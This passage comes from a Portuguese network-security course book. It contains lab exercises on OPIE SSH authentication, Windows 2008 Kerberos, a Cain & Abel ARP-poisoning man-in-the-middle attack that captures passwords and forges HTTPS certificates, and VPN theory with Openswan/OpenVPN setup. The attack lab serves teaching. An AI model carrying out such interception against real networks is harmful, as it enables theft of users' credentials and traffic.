OpenSSH, vamos utilizar os seguintes comandos apt-get:

# apt-get update
# apt-get install openssh-server
Passo 2

Uma vez instalado o SSHD, vamos instalar o Opie cliente e servidor no FWGW1,
que utilizaremos como ferramenta para alterao do mtodo de autenticao
do pam.d. Para instalar, utilizaremos novamente o apt-get:

# apt-get install opie-client opie-server


Passo 3

Agora que o Opie est instalado na mquina, edite o arquivo /etc/pam.d/sshd e


comente a linha @include common-auth; aps essa linha, vamos adicionar mais
trs linhas ao arquivo de configurao:

auth sufficient pam_unix.so


auth sufficient pam_opie.so
auth required pam_deny.so
Essas linhas instruiro o Pluggable Authentication Module (PAM) do Linux a tentar
utilizar o mdulo pam_opie.so, que consulta o Opie para autenticar no sistema.
Passo 4

Agora, edite o arquivo de configurao do SSH para permitir resposta a desafios,


depois reinicie o servidor SSH, com o seguinte comando com o usurio root:

# vi /etc/ssh/sshd_config
...
ChallengeResponseAuthentication yes
...
Reinicie o servio:

# /etc/init.d/ssh restart
Passo 5

Antes de autenticar um usurio, vamos incluir um usurio para usar a autenticao S/Key do Opie. Para isso execute:

# su aluno
# aluno@FWGW1:~$ opiepasswd -f c
Passo 5

Agora, utilizando o putty ou um cliente ssh qualquer tente se autenticar no


FWGW1 utilizando o usurio aluno e a senha cadastrada no OPIE. Observe
que agora, para autenticar, ser necessrio responder ao desafio apresentado
pelo ssh. Para calcular o desafio poderemos utilizar o opie-client instalado na
mquina Linux ou utilizar uma calculadora Javascript disponvel em:
http://www.ocf.berkeley.edu/~jjlin/jsotp/

Passo 6

Aqui importante relembrar o processo de inicializao do S/Key descrito


durante a sesso terica. Voc consegue entender os dados inseridos na calculadora Javascript apresentada, e como eles sero usados para calcular as senhas?

Captulo 6 - Roteiro de Atividades

Para saber mais


sobre outras opes
de configurao,
consulte o manual
on-line do projeto
(Connecting to the
Berkeley Mathematics
Department with opie).

Opie. Ser fornecido acesso SSH ao host LinServer.

145

Atividade 2 Configurando o servio de autenticao Kerberos no Windows 2008


Para realizar a instalao do servio de autenticao Kerberos do Windows 2008 ser necessrio realizar a instalao da Rule Active Directory. Para isso execute o comando dcpromo.exe.
1. Na pgina Active Directory Domain Services Installation Wizard, marque a opo

Use advanced mode installation e clique em Next.


2. Na pgina Operating System Compatibility clique em Next.
3. Na pgina Choose a Deployment Configuration, selecione Create a new domain in

a new forest e clique em Next.


4. Na pgina Name the Forest Root Domain, digite o nome DNS completo do domnio raiz

da floresta. No nosso digite domainA.esr.local ou domainB.esr.local (dependendo do seu


grupo) e clique em Next.
5. Na prxima pgina ser necessrio informar um nome NetBios para o domnio. Insira

DOMAINA ou DOMAINB (dependendo do seu grupo) e clique em Next.


6. Na pgina Set Forest Functional Level, selecione o nvel funcional de floresta que

acomoda os controladores de domnio a serem instalados em qualquer lugar da Floresta; em seguida, clique em Next. Como teremos somente controladores de domnio
Windows 2008 Server, utilizaremos o nvel funcional Windows 2008 Server. Aps selecionar, clique em Next.
7. Na pgina Additional Domain Controller Options, a opo Servidor DNS est sele-

cionada por padro, portanto, a infraestrutura DNS da sua floresta dever ser criada
durante a instalao do AD DS. Clique em Next.
8. Se o assistente no puder criar uma delegao para o servidor DNS, uma mensagem ser

exibida para indicar que voc pode criar a delegao manualmente. Para continuar, clique
em Yes.
9. Na pgina Location for Database, Log Files, and SYSVOL, mantenha os valores originais

propostos pelo instalador e, em seguida, clique em Next.


10. Na pgina Senha do Directory Services Restore Mode Administrator Password, digite

rnpesr e confirme a senha do modo de restaurao; em seguida, clique em Next.


11. Na pgina Summary, clique em Next.
12. Aps a instalao das funes AD, DS e DNS, ser necessrio reiniciar o servidor.
13. Agora inicie a mquina Virtual Windows XP e a adicione no domnio que voc acabou de

criar. No se esquea de alterar o endereo do servidor de DNS para o IP do servidor

Segurana de Redes e Sistemas

Windows 2008, ou seja, 172.16.G.20.

146

14. Crie um usurio no AD chamado RNP e execute o Wireshark. Tendo a certeza de que

o Wireshark est em execuo no servidor Windows 2008 e que ele est capturando
pacotes, acesse a mquina virtual Windows XP e realize a autenticao utilizando o
usurio RNP. Tente visualizar todas as mensagens citadas na parte terica deste livro.

Atividade 3 Uso do Cain & Abel para avaliar a segurana do sistema de autenticao
Nesta atividade usaremos o Cain & Abel para realizar um ataque de ARP-Poison, capturar
senhas e avaliar a segurana do sistema de autenticao.
1. Acesse o Servidor Windows 2008 e crie um novo usurio chamado RNP2, com a senha 123456.
2. A partir do servidor Windows 2008, acesse o site www.google.com.br. Entre no prompt de

comando e execute o comando arp a. Anote o endereo MAC do IP 172.16.G.1.


3. Agora, autentique como Administrador na mquina virtual Windows XP, desative o firewall

e inicie o programa Cain & Abel (o executvel do programa Cain & Abel encontra-se em:
c:\arquivos de programas\Cain\Cain.exe).
4. Iniciemos a execuo do sniffer (clique no cone que parece uma placa de rede, selecione

a interface padro, clique novamente nesse cone e, tambm, no cone amarelo).

5. Para iniciarmos um scan da rede em busca de MACs que queiramos sniffar, precisamos ir

aba Sniffer e, na parte inferior dessa janela, clicar no boto Hosts.

7. Vamos ver agora a tcnica Man in the Middle: clique no boto APR na parte inferior

esquerda da janela:

Captulo 6 - Roteiro de Atividades

6. Como podemos ver abaixo, nessa janela so exibidos os PCs em nossa rede:

147

8. Clique no boto com o smbolo na barra de ferramentas superiores (assim iniciaremos

o sniffer).

Aqui o boto + pode no aparecer. Para resolver o problema, no treeview esquerdo


clique na raiz APR e depois em uma linha qualquer no quadro status.

9. Selecionando um endereo IP do lado esquerdo, automaticamente os campos do lado

direito so preenchidos, possibilitando, dessa maneira, interceptar quaisquer dados que


trafeguem a partir do IP selecionado para qualquer destino detectado. No lado esquerdo,
selecione o IP 172.16.G.20 e, no lado direito, selecione o IP 172.16.G.1.
10. Com o sniffer em funcionamento, acesse o prompt de comando do servidor Windows

2008 e execute o comando arp a. Observe que o endereo MAC do host 172.16.G.1 foi
trocado para o endereo MAC de sua estao Windows XP.
11. Agora, a partir da mquina Windows 2008, acesse algum site https, como Gmail, Banco

Segurana de Redes e Sistemas

do Brasil etc. Observe o comportamento estranho do navegador, que informa um certifi-

148

cado invlido. O que aconteceu que o Cain & Abel gerou um certificado falso e apresentou como se fosse o certificado do site https que voc est tentando acessar.

Captulo 6 - Roteiro de Atividades

12. Verifique as demais configuraes desta ferramenta.

149

150

Segurana de Redes e Sistemas

7
Detalhar o uso de VPN IPSec e VPN SSL, abordando aspectos prticos relacionados.

conceitos

VPN, PPT, PL2TP, IPSec e SSL, entre outros.

Introduo
A criptografia um assunto extenso e muito importante para a segurana da informao,
considerada fundamental por muitos autores. Neste captulo, veremos aspectos tericos do
uso de VPN IPSec e VPN SSL e abordaremos aspectos prticos dessas aplicaes.

Exerccio de nivelamento 1 e
Redes Privadas Virtuais
O que voc entende por VPN?

A sua organizao utiliza VPN?

VPN
VPN (Virtual Private Network) possibilita o uso de uma rede pblica para interligar escri-

trios comerciais, com reduo de custos. Serve para viabilizar negcios que tm como
premissa requisitos de comunicao eficiente e transportar dados de modo seguro.
Pode ser usada para transferir informaes sigilosas usando um canal compartilhado
para interligar duas redes privadas protegidas.
Premissas de uma VPN:
11 Confidencialidade dos dados.
11 Integridade dos dados.
11 No repdio do emissor.
11 Autenticao da mensagem.

Captulo 7 - Redes Privadas Virtuais

objetivos

Redes Privadas Virtuais

11 Analogia ao modelo OSI.


151

Virtual Private Network um termo bastante utilizado atualmente. A possibilidade de uso de


uma rede pblica como a internet para interligar escritrios comerciais e grandes empresas
tem permitido a reduo de custos e vai viabilizar negcios que tm como premissa requisitos
de comunicao eficiente. Dessa forma, gestores de empresas vm buscando mecanismos
para manter as equipes sempre em comunicao, visando diminuir os investimentos em infraestrutura de TI ou at mesmo buscando melhor uso do parque tecnolgico j instalado.
Uma soluo efetiva de VPN visa transportar os dados de modo seguro e sigiloso, usando
um canal compartilhado para interligar duas redes privadas protegidas. Para que isso
ocorra, precisamos alcanar alguns objetivos importantes:
11 Confidencialidade dos dados: garantia de que a mensagem no poder ser interpretada
por origens no autorizadas.
11 Integridade dos dados: garantia de que o contedo da mensagem no foi alterado
durante a transmisso entre o emissor e o receptor.
11 No repdio do emissor: o emissor no poder repudiar o envio da mensagem, ou seja,
dizer que ele no enviou a mensagem questionada, com embasamento legal.
11 Autenticao da mensagem: garantia de que a mensagem foi enviada por uma fonte
autntica e ser entregue a um destino autntico.
Neste captulo, vamos utilizar o modelo OSI de 7 camadas para classificar as tecnologias de VPN.
Na ilustrao, as camadas do modelo OSI e as respectivas aplicaes de tecnologias de VPN.

Segurana de Redes e Sistemas

Modelo OSI

152

Tecnologia VPN

Camada 7: Aplicao

HTTPS, S/MIME, PGP

Camada 6: Apresentao

N/A

Camada 5: Sesso

N/A

Camada 4: Transporte

SSL e TLS, SOCKS, SSH

Camada 3: Rede

IPSec, MPLS VPNs

Camada 2: Enlace

PPTP, L2TP, L2F,


ATM cell encryptors

Camada 1: Fsica

RF encryptors,
optical bulk encryptors

Objetivos de uma VPN


11 Confidencialidade dos dados.
11 Integridade dos dados.
11 No repdio do emissor.
11 Autenticao da mensagem.
A seguir veremos algumas implementaes especficas de aplicaes VPN.

Figura 7.1
OSI vs. VPN.

VPN PPTP

Autenticao:
11 PAP.
11 CHAP.
11 MS-CHAP.
Analisando o modelo OSI, a VPN PPTP encontra-se na camada de enlace por ser uma
derivao do protocolo Point to Point Protocol (PPP), que consiste em um protocolo de
comunicao ponto a ponto, muito utilizado no passado em linhas telefnicas. O PPTP foi
desenvolvido pela Microsoft com o objetivo de incrementar recursos ao PPP. Ele utiliza a

Cabealho
Data Link

autenticao do PPP com um recurso de tnel que pode ser criptografado utilizando
criptografia de 40 ou 128 bits. A Figura 7.2 apresenta uma estrutura bsica de um pacote
PPTP, contido dentro de um pacote IP.

Cabealho IP

Cabealho PPTP

Cabealho PPP

Payload PPP

Data Link
Trailer

O PPTP um protocolo orientado conexo, o que exige uma estrutura cliente/servidor.


Sendo assim, ele trafega por padro na porta TCP 1723. Para estabelecer o tnel PPTP em
redes com firewall, necessrio liberar essa porta TCP e utilizar NAT. Ser necessrio NAT
de um-para-um ou algum protocolo especial para permitir o uso de PPTP (muitas vezes
chamado de VPN passthru).
Foram desenvolvidas vrias formas de autenticao do PPP, sendo as mais usuais:
11 Protocolo de Autenticao de Palavras (PAP): protocolo de autenticao simples em
que o cliente do tnel PPP enviar o usurio e a senha para o servidor em texto claro.
11 Challenge Handshake Authentication Protocol (CHAP): protocolo de autenticao em
que o cliente e o servidor respondero a um desafio, atravs de senha criptografada com
o algoritmo HASH MD5, que, trocada entre o cliente e o servidor, evita que a senha seja
transmitida em texto claro.
11 MS-CHAP: protocolo proprietrio da Microsoft criado para autenticar estaes de trabalho remotas baseadas no Windows. Tal como o CHAP, o MS-CHAP utiliza um mecanismo de contestao-resposta para autenticar ligaes sem enviar a palavra-chave em
texto claro. O MS-CHAP utiliza o algoritmo Hash MD4 (Message Digest 4) e o algoritmo
de encriptao Data Encryption Standard (DES) para gerar a autenticao challenge/response. O MS-CHAP tambm fornece mecanismos para comunicar erros de ligao e para
alterar a palavra-passe do utilizador.
Podemos verificar, assim, que o CHAP e o MS-CHAP so preferveis ao PAP, pois no trafegam a senha em texto claro.

L2TP
Especificado na RFC 2661 e desenvolvido por empresas como Cisco e Microsoft, utiliza a

estrutura cliente servidor e orientado a pacotes. Usa UDP como protocolo de transporte.
O L2TP um protocolo aberto, especificado na RFC 2661. Foi desenvolvido por um grupo de
empresas incluindo Cisco e Microsoft. Assim como o PPTP, o L2TP utiliza a estrutura cliente
servidor, mas orientado a pacotes. Dessa forma, alguns problemas de desempenho do

Captulo 7 - Redes Privadas Virtuais

Figura 7.2
Estrutura do Protocolo do Tnel PPTP.

PPTP foram contornados, por utilizar UDP como protocolo de transporte.


153

Cabealho
Data Link

Cabealho IP

Cabealho UDP

Cabealho L2TP Cabealho PPP

Payload PPP

Para implementar o tnel L2TP em redes com firewall por padro, necessrio liberar a
porta UDP 1701. Como um protocolo orientado a pacotes, o NAT pode ser implementado
no modelo um-para-muitos ou um-para-um. Por ser mais leve e prover melhor desempenho, recomenda-se usar o L2TP no lugar do PPTP, sempre que possvel. Deve-se ainda
evitar o PPTP, especialmente as verses com chaves de 40 bits, pois diversas vulnerabilidades j foram descobertas nesse protocolo.

IPSec
A segurana de IP (IPSec) uma capacidade que pode ser acrescentada a qualquer

verso atual do protocolo Internet: IPv4 e IPv6, por meio de cabealhos adicionais. IPSec
um conjunto de protocolos, tambm conhecido como sute de segurana IP.Os protocolos inclusos na sute de segurana IP esto focados em:
11 Entrega da mensagem autntica.
11 Integridade dos dados.
11 Confidencialidade dos dados.
11 No repdio do emissor.
A segurana de IP (IPSec) uma capacidade que pode ser acrescentada a qualquer verso
atual do protocolo Internet: IPv4 e IPv6, por meio de cabealhos adicionais. O IPSec atua
na camada de rede do modelo OSI, por criptografar o contedo (payload) do pacote IP.
Como o IPSec no um protocolo nico, mas sim um conjunto de protocolos, cada qual com
um objetivo especfico, podemos chamar o IPSec de sute de segurana IP. Os protocolos
inclusos na sute de segurana IP esto focados na entrega da mensagem autntica, com
integridade dos dados, confidencialidade dos dados e no repdio do emissor.
A especificao do IPSec consiste em vrias RFCs, sendo as mais importantes delas emitidas em 1998. So elas:
11 RFC 2401: descrio da viso geral de uma arquitetura de segurana.
11 RFC 2402: descrio de uma extenso de autenticao de pacotes para IPv4 e IPv6.
11 RFC 2406: descrio de uma extenso de criptografia de pacote para IPv4 e IPv6.

Segurana de Redes e Sistemas

11 RFC 2408: especificao das capacidades de gerenciamento de chaves.

154

Data Link
Trailer

Figura 7.3
Estrutura do
protocolo do L2TP.

Alm das quatro RFCs, diversos rascunhos foram publicados pelos grupos de trabalho do IP
Security Procotol. Os documentos esto descritos na RFC 2401, divididos em sete grupos,
conforme a figura:

Arquitetura

Protocolo ESP

Protocolo AH

Algoritmo de
autenticao

Algoritmo de
criptograa

Domnio de
interpretao

Figura 7.4
Viso do protocolo
IPSec.

Gerenciamento
de chaves

11 Arquitetura: abrange os conceitos gerais, os requisitos de segurana, definies e mecanismos, definindo a tecnologia IPSec.
11 Protocolo ESP (Encapsulating Security Payload): abrange o formato de pacote e questes
gerais relacionadas ao uso de ESP para criptografia de pacote e, opcionalmente, autenticao.
11 Protocolo AH (Authentication Header): abrange o formato de pacote e questes gerais
relacionadas ao uso do AH para autenticao de pacotes.
11 Algoritmo de criptografia: um conjunto de documentos que descrevem como diversos
algoritmos de criptografia so usados para ESP.
11 Algoritmo de autenticao: um conjunto de documentos que descrevem como vrios
algoritmos de autenticao so usados para AH e para a opo de autenticao do ESP.
11 Gerenciamento de chaves: documentos que descrevem esquemas de gerenciamento
de chaves. Exemplo: ISAKMP.
11 Domnio de interpretao: so valores para os outros documentos se relacionarem
cao, alm de parmetros operacionais, como tempo de vida da chave.

Exerccio de fixao 1 e
VPN
Explique os objetivos da VPN.

Captulo 7 - Redes Privadas Virtuais

entre si. Incluem identificadores para algoritmos aprovados de criptografia e autenti-

155

Quais as formas mais usuais de autenticao do VPN PPP?

Exerccio de fixao 2 e
IPSec
Explique como o IPSec funciona.

Modos de operao do IPSec


11 Cifragem de blocos: divide os dados em conjuntos de tamanho fixo (chamados de blocos)

22 Electronic Codebook (ECB).


22 Cipher-Block Chaining (CBC).
22 Propagating Cipher-Block Chaining (PCBC).
22 Cipher Feedback (CFB).
22 Output Feedback (OFB).
22 Counter (CTR).
11 Cifragem stream realiza a cifragem de bits. No h a necessidade de aguardar
a formao de um bloco.
22 RC4.
22 A5/1 (usado em redes GSM de telefonia celular).
11 Modo de Transporte: oferece proteo principalmente para os protocolos das camadas
superiores, mas no permite suporte a alguns servios de rede, como multicast.
11 Modo de Tnel: oferece proteo a todo pacote IP.
O IPSec oferece dois modos de operao, sendo eles:
11 Modo de Transporte: esse modo oferece proteo principalmente para os protocolos
das camadas superiores. Esse modo de operao do IPSec criptografa todo o payload do
pacote IP. Compatvel com protocolos IP: UDP, TCP e ICMP.

Cabealho IP

Cabealho ESP

Cabealho TCP

Dados

Trailer ESP

Autenticao ESP

Segurana de Redes e Sistemas

Criptografado

156

Autenticado

No protegido

No protegido

11 Modo de Tnel: esse modo de operao oferece proteo a todo pacote IP. Todo o
pacote original viaja por um tnel de um ponto de uma rede IP para outro, e nenhum
roteador ao longo do caminho capaz de examinar o cabealho IP interno.

Figura 7.5
Pacote encapsulado ESP no modo
transporte.

Novo cabealho IP

Cabealho ESP

Cabealho
IP

Cabealho
TCP

Trailer
ESP

Dados

Autenticao ESP

Criptografado
Autenticado

No protegido
Figura 7.6
Pacote encapsulado
ESP no modo tnel.

No protegido

Protocolos IPSec
O IPSec oferece servios de segurana na camada de IP, permitindo que um sistema selecione
protocolos de segurana exigidos, e determine os algoritmos necessrios para os servios,
colocando no lugar quaisquer chaves criptogrficas exigidas para oferecer os servios solicitados. Dois protocolos podem ser usados para oferecer segurana: autenticao do cabealho
(AH) e um protocolo combinado de criptografia e autenticao, designado pelo formato de
pacote para esse protocolo, denominado Encapsulamento de Segurana do Payload (ESP). Os
servios e suporte de cada protocolo IPSec seguem listados na tabela a seguir:
ESP

ESP + AH

Controle de acesso

Sim

Sim

Sim

Integridade sem conexo

Sim

Sim

Autenticao da origem

Sim

Sim

Rejeio de pacotes repetidos

Sim

Confidencialidade

Sim

Sim

Sim

Sim

O IPSec pode ser utilizado tanto para comunicao segura entre computadores (geralmente
no modo transporte), quanto para o estabelecimento de VPN (geralmente no modo tnel).
Alguns sistemas operacionais, como o Windows 2000, j possuem suporte nativo a IPSec, de
modo que possvel que todo o trfego entre servidores seja criptografado. Normalmente
para utilizar IPSec, os roteadores presentes na rede devem suportar e entender o protocolo,
para poderem encaminhar corretamente os dados.
Encapsulating Security Payload (ESP)
Estabelece mecanismos de garantia da privacidade e integridade do contedo, utilizando
tcnicas de criptografia e cdigo Hash, respectivamente. Na criptografia, normalmente so utilizados algoritmos DES, 3DES ou AES. Para o cdigo Hash so utilizadas funes MD5 ou SHA-1.
Authetication Header (AH)
Estabelece mecanismos de verificao da autenticidade e integridade de pacotes IP. Normalmente, na verificao da autenticidade de pacotes, calculado o Hash de HMAC (Hash
Message Authentication Code) usando funes de Hash MD5 ou SHA-1.

Cabealho ESP
11 Security Parameters Index (SPI).
11 Nmero sequencial.
11 Dados.

Captulo 7 - Redes Privadas Virtuais

Figura 7.7
Servios de cada
protocolo IPSec.

AH

157

11 Padding.
11 Tamanho do Pad.
11 Prximo cabealho.
Dados para autenticao.

0-7 bit

8-15 bit

16-23 bit

24-31 bit

Security Parameters Index (SPI)


Sequence number

Payload data (variable)

Padding (0-255 bytes)


Payload length

Next header
Next header

Authentication data (variable)

Figura 7.8
Cabealho ESP.

O campo SPI possui um valor que identifica a associao de segurana (SA) de um trfego
IPSec. O campo Sequence number possui um contador, que incrementado a cada pacote
enviado, com o objetivo de proteger contra ataques replay, onde o atacante captura um
trfego e o repete mais frente. O payload contm o pacote original que est sendo protegido pelo ESP. O Padding utilizado para completar os dados de modo a caber no tamanho
de bloco do algoritmo de criptografia. Pad Length contm o tamanho do campo anterior e
Next Header indica o tipo do prximo cabealho.

Cabealho AH

11 Prximo cabealho.
11 Tamanho do payload.
11 Security Parameters Index (SPI).
11 Nmero sequencial.
11 Dados para autenticao.

Segurana de Redes e Sistemas

0-7 bit

158

Next header

8-15 bit

16-23 bit

Payload length

24-31 bit
Reserved

Security Parameters Index (SPI)


Sequence number
Authentication data (variable)

Figura 7.9
Cabealho AH.

No cabealho AH, alguns campos so invertidos em relao ao ESP, e no temos a cifragem


do pacote original. Os campos Next header, SPI e Sequence number possuem a mesma
finalidade dos correspondentes no cabealho ESP. O campo Payload length indica o
tamanho do cabealho AH.

Exerccio de fixao 3 e
IPSec
Explique o que so ESP e AH no protocolo IPSec.

VPN SSL
Com o uso de VPNs baseadas em SSL, possvel ter acesso a aplicaes ou redes

remotas, tendo como acesso qualquer tipo de conectividade internet. Pode ser implementada via:
11 Cliente VPN SSL
11 Navegador web
11 Instalao simplificada do agente
Quando precisamos de segurana apenas em uma aplicao especfica, como navegao
na internet, envio de correio eletrnico e mensagens instantneas, utilizamos a criptografia
na comunicao entre essas aplicaes. As escolhas mais populares de criptografia para
TLS e SSL
Transport Layer Security
e Security Sockets Layer
so protocolos com
diferenas bem sutis.
A especificao do
SSL 3.0 conhecida
como SSL3, e do TLS 1.0
como TLS1 ou SSL 3.1.

esse cenrio so TLS e SSL. Embora os dois protocolos tenham a mesma finalidade, existem
diferenas sutis entre eles.
Ambos os protocolos suportam uma variedade de algoritmos de criptografia ou cifras para
realizar algumas funes, como a autenticao do servidor e do cliente, transmisso de certificados e estabelecimento das chaves de sesso. Para a criptografia em massa dos dados,
algoritmos simtricos so utilizados. Algoritmos assimtricos so utilizados para autenticao e troca de chaves. O Hash utilizado como parte do processo de autenticao.
Com o uso de VPNs baseadas em SSL, possvel ter acesso a aplicaes ou redes remotas,
tendo como acesso qualquer tipo de conectividade internet, sendo necessrio apenas
um navegador da internet ou um software cliente instalado na mquina do usurio. Essa
flexibilidade permite s VPNs baseadas em SSL prover acesso de qualquer lugar a recursos
computacionais de uma empresa. Dessa forma, colaboradores de uma empresa podem
utilizar VPNs baseadas em SSL para ter acesso remoto a aplicaes de uma empresa.

fases, conforme ilustra a figura a seguir:

Figura 7.10
Estabelecimento
de uma sesso
VPN SSL.

Tnel VPN SSL

Captulo 7 - Redes Privadas Virtuais

Existem algumas etapas no estabelecimento da sesso VPN SSL que podem ser descritas em

159

1. Nesta fase, o equipamento do usurio estabelece uma conexo TCP na porta 443 do servidor.
2. O servidor SSL apresenta um certificado digital que contm a chave pblica

digitalmente assinada por uma Autoridade Certificadora confivel.


3. O computador do usurio gera uma chave simtrica compartilhada entre as duas partes,

cliente e servidor.
4. A chave pblica do servidor utilizada para criptografar a chave compartilhada e trans-

mitir para o cliente. O software do servidor utiliza a chave privada para descriptografar
a chave compartilhada enviada pelo cliente. Assim que o servidor realizar esse processo,
ambos tero acesso chave compartilhada.
5. A chave compartilhada ento utilizada para criptografar o dados transmitidos na sesso SSL.

O OpenVPN um exemplo de software livre, que utiliza SSL para criar tneis VPN. Uma vantagem das VPN SSL em relao ao IPSec que a liberao do acesso atravs de um firewall
bem mais simples, pois envolve apenas uma porta (443 TCP), que normalmente j liberada
pra acessos www seguros (HTTPS).

Exerccio de fixao 4 e
VPN SSL
Explique a diferena entre TLS e SSL.

Implementao IPSec no Linux


11 Instalao.

11 Configurao.
11 Testes.
Existem vrias implantaes de VPN IPSec no mercado, variando de fabricantes de sistemas
operacionais, fabricantes de dispositivos dedicados (appliances) e comunidades de software
livre. Vamos detalhar o Openswan, um projeto de software livre de muito sucesso na comunidade de software livre. Ele uma derivao de um antigo projeto chamado Free S/Wan,
que foi descontinuado.

Instalao do Openswan
Instalao e configurao da soluo de VPN usando o Openswan no Debian.

Segurana de Redes e Sistemas

Instalao do Openswan:

debian:~# apt-get install openswan


Reading package lists... Done
Building dependency tree... Done
The following extra packages will be installed:
ca-certificates iproute ipsec-tools libatm1 libcurl3 libgmp3c2
openssl
Suggested packages:

160

w
Openswan uma
implentao de IPSec
para Linux, licenciado
pela GPLverso 2. Site
do projeto: www.
openswan.org.

openswan-modules-source linux-patch-openswan curl


Recommended packages:
iproute-doc
The following NEW packages will be installed:
ca-certificates iproute ipsec-tools libatm1 libcurl3 libgmp3c2
openssl
openswan
0 upgraded, 8 newly installed, 0 to remove and 32 not upgraded.
Need to get 3782kB of archives.
After unpacking 10.5MB of additional disk space will be used.
Do you want to continue [Y/n]?
Tela de configurao inicial logo aps a instalao:

Figura 7.11
Tela de instalao
do OpenSwan.

Nessa tela deve-se selecionar No (No), pois ser usada uma Pre-shared Key (Chave
pr-compartilhada). Aps essa tela, no h mais configurao.
Verificando a verso:

debian:~# ipsec verify

correctly:
Version check and ipsec on-path

[OK]

Linux Openswan U2.4.6/K2.6.18-5-k7 (netkey)


Checking for IPsec support in kernel
NETKEY detected, testing for disabled ICMP send_redirects

[OK]
[FAILED]

Captulo 7 - Redes Privadas Virtuais

Checking your system to see if IPsec got installed and started

161

Please disable /proc/sys/net/ipv4/conf/*/send_redirects


or NETKEY will cause the sending of bogus ICMP redirects!

NETKEY detected, testing for disabled ICMP accept_redirects

[FAILED]

Please disable /proc/sys/net/ipv4/conf/*/accept_redirects


or NETKEY will accept bogus ICMP redirects!

Checking for RSA private key (/etc/ipsec.secrets)

[DISABLED]

ipsec showhostkey: no default key in /etc/ipsec.secrets


Checking that pluto is running
Two or more interfaces found, checking IP forwarding

[OK]
[FAILED]

Checking for ip command

[OK]

Checking for iptables command

[OK]

Opportunistic Encryption Support

[DISABLED]

Configurao do Openswan
O servidor de VPN deve estar configurado de acordo com a estrutura de sua unidade.
Para a configurao da VPN siga os passos seguintes.
1. Habilitar o roteamento no Linux:

echo 1 > /proc/sys/net/ipv4/ip_forward


2. Configurar o arquivo de configurao do Openswan:

vim /etc/ipsec.conf

debian:~# cat /etc/ipsec.conf


# /etc/ipsec.conf - Openswan IPsec configuration file
# RCSID $Id: ipsec.conf.in,v 1.15.2.4 2006/07/11 16:17:53 paul Exp $

Segurana de Redes e Sistemas

# This file:

162

/usr/share/doc/openswan/ipsec.conf-sample

#
# Manual:

version 2.0
specification

ipsec.conf.5

# conforms to second version of ipsec.conf

# basic configuration
config setup
interfaces=%defaultroute
# plutodebug / klipsdebug = all, none or a combation
from below:
# raw crypt parsing emitting control klips pfkey natt x509
private
# eg:
# plutodebug=control parsing
#
# Only enable klipsdebug=all if you are a developer
#
# NAT-TRAVERSAL support, see README.NAT-Traversal
nat_traversal=yes
virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12
#
# enable this if you see failed to find any available worker
nhelpers=0

# Add connections here

conn %default
keyingtries=0
disablearrivalcheck=no

conn vpnpeer1

leftsubnet=192.168.1.0/255.255.255.0
right=200.200.140.10
rightsubnet=10.61.0.0/255.255.0.0
ike=aes256-sha-modp1024
esp=aes256-sha1
pfs=no

Captulo 7 - Redes Privadas Virtuais

left=200.200.40.16

ikelifetime=8h
163

keylife=8h
dpddelay=30
dpdtimeout=120
dpdaction=hold
authby=secret
auto=start

# nameserver 202.21.11.100

# sample VPN connections, see /etc/ipsec.d/examples/

#Disable Opportunistic Encryption


include /etc/ipsec.d/examples/no_oe.conf

---------------------------------------------------------------------

debian:~# cat /etc/ipsec.secrets


# RCSID $Id: ipsec.secrets.proto,v 1.3.6.1 2005/09/28 13:59:14 paul Exp $
# This file holds shared secrets or RSA private keys for inter-Pluto
# authentication.

See ipsec_pluto(8) manpage, and HTML documentation.

# RSA private key for this host, authenticating it to any other host
# which knows the public part.

Suitable public keys, for ipsec.

conf, DNS,

Segurana de Redes e Sistemas

# or configuration of other implementations, can be extracted


conveniently
# with ipsec showhostkey.
200.200.40.16 200.200.140.10 : PSK vpnipsec

Implementao de VPN SSL no Linux


O uso de VPN SSL est em expanso no cenrio atual de Tecnologias da Informao e
Comunicao (TIC), uma vez que a sua implementao costuma ser mais simples do que as
implementaes de VPN IPSec. O projeto OpenVPN possui utilizao destacada pela comuni-

164

dade de software livre. importante lembrar que o IPv6 vir com IPSec nativo, de modo que
preciso conhecer bem as duas tecnologias.

Instalao do OpenVPN
O OpenVPN atualmente j faz parte do repositrio padro do Debian. Dessa forma, a instalao pode ser feita com o utilitrio apt-get, como ilustra o exemplo a seguir:

debian:~# apt-get update


debian:~# apt-get install openvpn
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
liblzo2-2 libpkcs11-helper1 openssl openssl-blacklist openvpn-blacklist
Suggested packages:
ca-certificates resolvconf
The following NEW packages will be installed:
liblzo2-2 libpkcs11-helper1 openssl openssl-blacklist openvpn
openvpn-blacklist
0 upgraded, 6 newly installed, 0 to remove and 14 not upgraded.
Need to get 8948kB of archives.
After this operation, 18.5MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://linorg.usp.br lenny/main openssl 0.9.8g-15+lenny7 [1034kB]
Get:2 http://linorg.usp.br lenny/main openssl-blacklist 0.4.2 [6338kB]
Get:3 http://linorg.usp.br lenny/main liblzo2-2 2.03-1 [61.5kB]
Get:4 http://linorg.usp.br lenny/main libpkcs11-helper1 1.05-1 [42.4kB]
Get:5 http://linorg.usp.br lenny/main openvpn-blacklist 0.3 [1068kB]

Fetched 8948kB in 2min20s (63.6kB/s)


Preconfiguring packages ...
tar: ./conffiles: time stamp 2010-06-08 17:45:39 is 5089826.308233209
s in the future
tar: ./postinst: time stamp 2010-06-08 17:45:39 is 5089826.262979826
s in the future
tar: ./control: time stamp 2010-06-08 17:45:38 is 5089825.261959074 s

Captulo 7 - Redes Privadas Virtuais

Get:6 http://linorg.usp.br lenny/main openvpn 2.1~rc11-1 [404kB]

in the future
165

tar: ./md5sums: time stamp 2010-06-08 17:45:39 is 5089826.261059126


s in the future
tar: .: time stamp 2010-06-08 17:45:39 is 5089826.260466338 s in the
future
Selecting previously deselected package openssl.
(Reading database ... 19366 files and directories currently installed.)
Unpacking openssl (from .../openssl_0.9.8g-15+lenny7_i386.deb) ...
Selecting previously deselected package openssl-blacklist.
Unpacking openssl-blacklist (from .../openssl-blacklist_0.4.2_all.deb) ...
Selecting previously deselected package liblzo2-2.
Unpacking liblzo2-2 (from .../liblzo2-2_2.03-1_i386.deb) ...
Selecting previously deselected package libpkcs11-helper1.
Unpacking libpkcs11-helper1 (from .../libpkcs11-helper1_1.05-1_i386.
deb) ...
Selecting previously deselected package openvpn-blacklist.
Unpacking openvpn-blacklist (from .../openvpn-blacklist_0.3_all.deb) ...
Selecting previously deselected package openvpn.
Unpacking openvpn (from .../openvpn_2.1~rc11-1_i386.deb) ...
